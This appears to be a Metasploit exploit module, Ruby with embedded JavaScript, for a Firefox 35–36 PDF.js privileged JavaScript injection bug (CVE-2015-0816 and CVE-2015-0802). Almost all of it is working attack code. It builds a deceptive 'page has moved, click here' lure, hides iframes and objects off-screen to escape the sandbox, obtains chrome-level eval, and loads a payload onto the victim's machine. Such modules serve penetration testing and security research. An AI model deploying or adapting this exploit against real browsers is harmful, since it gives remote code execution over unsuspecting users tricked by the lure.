2015-08-15 22:52:47 +00:00
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::BrowserExploitServer
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include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Firefox PDF.js Privileged Javascript Injection',
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'Description' => %q{
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This module gains remote code execution on Firefox 35-36 by abusing a
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privilege escalation bug in resource:// URIs. PDF.js is used to exploit
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the bug. This exploit requires the user to click anywhere on the page to
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trigger the vulnerability.
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},
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'Author' => [
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2015-08-16 01:08:06 +00:00
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'Unknown', # PDF.js injection code was taken from a 0day
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2015-08-15 22:52:47 +00:00
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'Marius Mlynski', # discovery and pwn2own exploit
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'joev' # copypasta monkey, CVE-2015-0802
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],
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2015-08-16 01:08:06 +00:00
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'DisclosureDate' => "Mar 31 2015",
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2015-08-15 22:52:47 +00:00
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2015-0816'], # pdf.js can load chrome://
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['CVE', '2015-0802'] # can access messageManager property in chrome window
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],
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'Targets' => [
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[
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'Universal (Javascript XPCOM Shell)', {
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'Platform' => 'firefox',
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'Arch' => ARCH_FIREFOX
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}
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],
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[
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'Native Payload', {
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'Platform' => %w{ java linux osx solaris win },
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'Arch' => ARCH_ALL
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}
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]
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],
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'DefaultTarget' => 0,
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'BrowserRequirements' => {
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:source => 'script',
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:ua_name => HttpClients::FF,
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:ua_ver => lambda { |ver| ver.to_i.between?(35, 36) }
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}
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))
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register_options([
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OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
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], self.class)
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end
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def on_request_exploit(cli, request, target_info)
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print_status('Sending exploit...')
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send_response_html(cli, html)
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end
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def html
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"<!doctype html><html><body>#{datastore['CONTENT'] || default_html}"+
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"<script>#{js}</script></body></html>"
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end
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def default_html
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"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
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end
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def js
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key = Rex::Text.rand_text_alpha(5 + rand(12))
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frame = Rex::Text.rand_text_alpha(5 + rand(12))
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r = Rex::Text.rand_text_alpha(5 + rand(12))
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opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
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<<-EOJS
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function xml2string(obj) {
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return new XMLSerializer().serializeToString(obj);
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}
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function __proto(obj) {
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return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
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}
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function get(path, callback, timeout, template, value) {
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callback = _(callback);
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if (template && value) {
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callback = callback.replace(template, value);
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}
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js_call1 = 'javascript:' + _(function() {
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try {
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done = false;
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window.onclick = function() {
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if (done) { return; } done = true;
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q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px");
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setTimeout(function(){
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q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
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setTimeout(function(){
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var opts = #{JSON.unparse(opts)};
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var key = opts['#{key}'];
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q.messageManager.loadFrameScript('data:,'+key, false);
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setTimeout(function(){
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q.close();
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}, 100)
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}, 100)
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}, 100);
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}
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} catch (e) {
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history.back();
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}
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undefined;
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}, "%url%", path);
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js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
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sandboxContext(_(function() {
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p = __proto(i.contentDocument.styleSheets[0].ownerNode);
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l = p.__lookupSetter__.call(i2.contentWindow, 'location');
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l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
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}));
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setTimeout((function() {
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sandboxContext(_(function() {
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p = __proto(i.contentDocument.styleSheets[0].ownerNode);
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l = p.__lookupSetter__.call(i2.contentWindow, 'location');
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l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
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}));
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}), timeout);
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}
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function get_data(obj) {
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data = null;
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try {
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data = obj.document.documentElement.innerHTML;
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if (data.indexOf('dirListing') < 0) {
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throw new Error();
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}
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} catch (e) {
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if (this.document instanceof XMLDocument) {
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data = xml2string(this.document);
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} else {
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try {
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if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
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data = this.document.body.firstChild.textContent;
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} else {
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throw new Error();
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}
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} catch (e) {
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try {
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if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
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return null;
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} else {
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throw new Error();
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}
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} catch (e) {
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;;
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}
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}
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}
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}
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return data;
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}
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function _(s, template, value) {
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s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
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s = s.substring(0, s.length - 1);
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if (template && value) {
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s = s.replace(template, value);
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}
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s += __proto;
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s += xml2string;
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s += get_data;
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s = s.replace(/\\s\\/\\/.*\\n/g, "");
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s = s + ";undefined";
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return s;
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}
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function get_sandbox_context() {
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if (window.my_win_id == null) {
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for (var i = 0; i < 20; i++) {
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try {
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if (window[i].location.toString().indexOf("view-source:") != -1) {
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my_win_id = i;
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break;
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}
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} catch (e) {}
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}
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};
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if (window.my_win_id == null)
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return;
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clearInterval(sandbox_context_i);
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object.data = 'view-source:' + blobURL;
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window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
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object.data = 'data:text/html,<'+'html/>';
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window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
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'"position:absolute; left:-9999px;" onload = "'+_(function(){
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window.wrappedJSObject.sandboxContext=(function(cmd) {
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with(importFunction.constructor('return this')()) {
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return eval(cmd);
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}
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});
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}) + '"/>');
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}
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var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;';
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var i = document.createElement("iframe");
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i.id = "i";
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i.style=HIDDEN;
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i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
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document.documentElement.appendChild(i);
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i.onload = function() {
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if (this.contentDocument.styleSheets.length > 0) {
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var i2 = document.createElement("iframe");
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i2.id = "i2";
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i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;';
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i2.height = window.innerHeight+'px';
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i2.width = window.innerWidth+'px';
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i2.src = "data:application/pdf,";
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document.documentElement.appendChild(i2);
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pdfBlob = new Blob([''], {
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type: 'application/pdf'
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});
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blobURL = URL.createObjectURL(pdfBlob);
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object = document.createElement('object');
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object.style=HIDDEN;
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object.data = 'data:application/pdf,';
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object.onload = (function() {
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sandbox_context_i = setInterval(get_sandbox_context, 200);
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object.onload = null;
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object.data = 'view-source:' + location.href;
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return;
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});
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document.documentElement.appendChild(object);
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} else {
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this.contentWindow.location.reload();
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}
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}
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document.body.style.height = window.innerHeight+'px';
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var kill = setInterval(function() {
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if (window.sandboxContext) {
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var f = "chrome://browser/content/browser.xul";
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get(f, function() {}, 0, "%URL%", f);
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clearInterval(kill);
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} else {
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return;
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}
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},20);
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EOJS
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end
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end
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